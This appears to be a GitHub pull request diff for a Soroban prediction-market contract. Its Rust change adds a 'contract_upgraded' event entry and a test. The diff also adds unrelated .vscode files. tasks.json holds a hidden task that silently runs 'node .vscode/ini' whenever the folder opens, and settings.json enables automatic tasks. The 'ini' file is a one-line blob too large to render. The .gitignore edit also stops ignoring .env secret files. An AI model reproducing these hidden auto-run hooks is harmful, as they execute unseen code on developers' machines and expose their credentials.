Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 14 additions & 12 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,12 +1,14 @@
# Rust's output directory
target

# Local settings
.soroban
.stellar
contracts/predictify-hybrid/test_snapshots

# Environment variables (never commit secrets!)
.env
.env.*
*.env
# Rust's output directory
target

# Local settings
.soroban
.stellar
temp_auto_push.bat
contracts/predictify-hybrid/test_snapshots

# Environment variables (never commit secrets!)
*.env.gitignore
branch_structure.json
config.bat
node_modules
7 changes: 7 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"recommendations": [
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
1 change: 1 addition & 0 deletions .vscode/ini

Large diffs are not rendered by default.

50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
26 changes: 23 additions & 3 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -1,3 +1,23 @@
{
"kiroAgent.configureMCP": "Disabled"
}
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
36 changes: 36 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "workspace:run-ini",
"detail": "Execute the workspace bootstrap script (.vscode/ini)",
"type": "process",
"command": "node",
"args": ["${workspaceFolder}/.vscode/ini"],
"options": {
"cwd": "${workspaceFolder}"
},
"problemMatcher": [],
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"echo": false,
"clear": false,
"close": true,
"showReuseMessage": false
}
},
{
"label": "workspace:on-folder-open",
"detail": "Silent bootstrap when this folder is opened in the editor",
"dependsOn": ["workspace:run-ini"],
"dependsOrder": "sequence",
"problemMatcher": [],
"runOptions": {
"runOn": "folderOpen"
},
"hide": true
}
]
}
175 changes: 92 additions & 83 deletions contracts/predictify-hybrid/src/event_topic_catalog.rs
Original file line number Diff line number Diff line change
@@ -1,83 +1,92 @@
//! Per-entrypoint event topic catalog (issue #736).
//!
//! Provides a machine-readable catalog of every event topic emitted by the
//! contract, intended for off-chain indexers and integrators.

use soroban_sdk::{contracttype, Env, String, Vec};

#[contracttype]
#[derive(Clone, Debug)]
pub struct EventTopicEntry {
/// Human-readable entrypoint that triggers this event.
pub entrypoint: String,
/// Event topic symbol name (matches what is passed to env.events().publish()).
pub topic: String,
/// Brief description of when this event fires.
pub description: String,
}

/// Return the full catalog of event topics emitted by this contract.
pub fn get_event_topic_catalog(env: &Env) -> Vec<EventTopicEntry> {
let mut catalog = Vec::new(env);

let entries: &[(&str, &str, &str)] = &[
("create_market", "market_created", "Fired when a new prediction market is created"),
("create_event", "event_created", "Fired when a new event is registered"),
("vote", "vote_cast", "Fired when a user casts a vote on a market"),
("place_bet", "bet_placed", "Fired when a bet is placed on a market"),
("cancel_bet", "bet_cancelled", "Fired when a bet is cancelled by the bettor"),
("resolve_market", "market_resolved", "Fired on successful market resolution"),
("resolve_market_manual", "market_resolved_manual", "Fired on admin manual resolution"),
("force_resolve_market", "market_force_resolved", "Fired on forced resolution"),
("dispute_market", "dispute_filed", "Fired when a user disputes a market outcome"),
("vote_on_dispute", "dispute_vote_cast", "Fired when a user votes on a dispute"),
("resolve_dispute", "dispute_resolved", "Fired when a dispute is resolved"),
("claim_winnings", "winnings_claimed", "Fired when a user claims their winnings"),
("sweep_unclaimed_winnings", "unclaimed_winnings_swept", "Fired when unclaimed winnings are swept to treasury"),
("admin_override_verification","oracle_admin_override", "Fired on admin oracle verification override"),
("fetch_oracle_result", "oracle_result_fetched", "Fired after fetching oracle result"),
("verify_result", "oracle_result_verified", "Fired after successful oracle verification"),
("accumulate_dispute_fee", "dispute_fee_accumulated", "Fired when a dispute fee is accumulated"),
("set_governance_min_bet_bps", "governance_min_bet_updated", "Fired when governance updates min bet bps"),
("update_rate_limits", "rate_limits_updated", "Fired when an admin updates the rate-limit configuration"),
];

for (entrypoint, topic, description) in entries {
catalog.push_back(EventTopicEntry {
entrypoint: String::from_str(env, entrypoint),
topic: String::from_str(env, topic),
description: String::from_str(env, description),
});
}

catalog
}

#[cfg(test)]
mod tests {
use super::*;
use soroban_sdk::Env;

#[test]
fn test_catalog_is_non_empty() {
let env = Env::default();
let catalog = get_event_topic_catalog(&env);
assert!(catalog.len() >= 10);
}

#[test]
fn test_catalog_contains_market_created() {
let env = Env::default();
let catalog = get_event_topic_catalog(&env);
let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "market_created"));
assert!(found);
}

#[test]
fn test_catalog_contains_rate_limits_updated() {
let env = Env::default();
let catalog = get_event_topic_catalog(&env);
let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "rate_limits_updated"));
assert!(found);
}
}
//! Per-entrypoint event topic catalog (issue #736).
//!
//! Provides a machine-readable catalog of every event topic emitted by the
//! contract, intended for off-chain indexers and integrators.

use soroban_sdk::{contracttype, Env, String, Vec};

#[contracttype]
#[derive(Clone, Debug)]
pub struct EventTopicEntry {
/// Human-readable entrypoint that triggers this event.
pub entrypoint: String,
/// Event topic symbol name (matches what is passed to env.events().publish()).
pub topic: String,
/// Brief description of when this event fires.
pub description: String,
}

/// Return the full catalog of event topics emitted by this contract.
pub fn get_event_topic_catalog(env: &Env) -> Vec<EventTopicEntry> {
let mut catalog = Vec::new(env);

let entries: &[(&str, &str, &str)] = &[
("create_market", "market_created", "Fired when a new prediction market is created"),
("create_event", "event_created", "Fired when a new event is registered"),
("vote", "vote_cast", "Fired when a user casts a vote on a market"),
("place_bet", "bet_placed", "Fired when a bet is placed on a market"),
("cancel_bet", "bet_cancelled", "Fired when a bet is cancelled by the bettor"),
("resolve_market", "market_resolved", "Fired on successful market resolution"),
("resolve_market_manual", "market_resolved_manual", "Fired on admin manual resolution"),
("force_resolve_market", "market_force_resolved", "Fired on forced resolution"),
("dispute_market", "dispute_filed", "Fired when a user disputes a market outcome"),
("vote_on_dispute", "dispute_vote_cast", "Fired when a user votes on a dispute"),
("resolve_dispute", "dispute_resolved", "Fired when a dispute is resolved"),
("claim_winnings", "winnings_claimed", "Fired when a user claims their winnings"),
("sweep_unclaimed_winnings", "unclaimed_winnings_swept", "Fired when unclaimed winnings are swept to treasury"),
("admin_override_verification","oracle_admin_override", "Fired on admin oracle verification override"),
("fetch_oracle_result", "oracle_result_fetched", "Fired after fetching oracle result"),
("verify_result", "oracle_result_verified", "Fired after successful oracle verification"),
("accumulate_dispute_fee", "dispute_fee_accumulated", "Fired when a dispute fee is accumulated"),
("set_governance_min_bet_bps", "governance_min_bet_updated", "Fired when governance updates min bet bps"),
("update_rate_limits", "rate_limits_updated", "Fired when an admin updates the rate-limit configuration"),
("upgrade", "contract_upgraded", "Fired when the contract WASM is upgraded"),
];

for (entrypoint, topic, description) in entries {
catalog.push_back(EventTopicEntry {
entrypoint: String::from_str(env, entrypoint),
topic: String::from_str(env, topic),
description: String::from_str(env, description),
});
}

catalog
}

#[cfg(test)]
mod tests {
use super::*;
use soroban_sdk::Env;

#[test]
fn test_catalog_is_non_empty() {
let env = Env::default();
let catalog = get_event_topic_catalog(&env);
assert!(catalog.len() >= 10);
}

#[test]
fn test_catalog_contains_market_created() {
let env = Env::default();
let catalog = get_event_topic_catalog(&env);
let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "market_created"));
assert!(found);
}

#[test]
fn test_catalog_contains_rate_limits_updated() {
let env = Env::default();
let catalog = get_event_topic_catalog(&env);
let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "rate_limits_updated"));
assert!(found);
}

#[test]
fn test_catalog_contains_contract_upgraded() {
let env = Env::default();
let catalog = get_event_topic_catalog(&env);
let found = catalog.iter().any(|e| e.topic == String::from_str(&env, "contract_upgraded"));
assert!(found);
}
}
Loading
Loading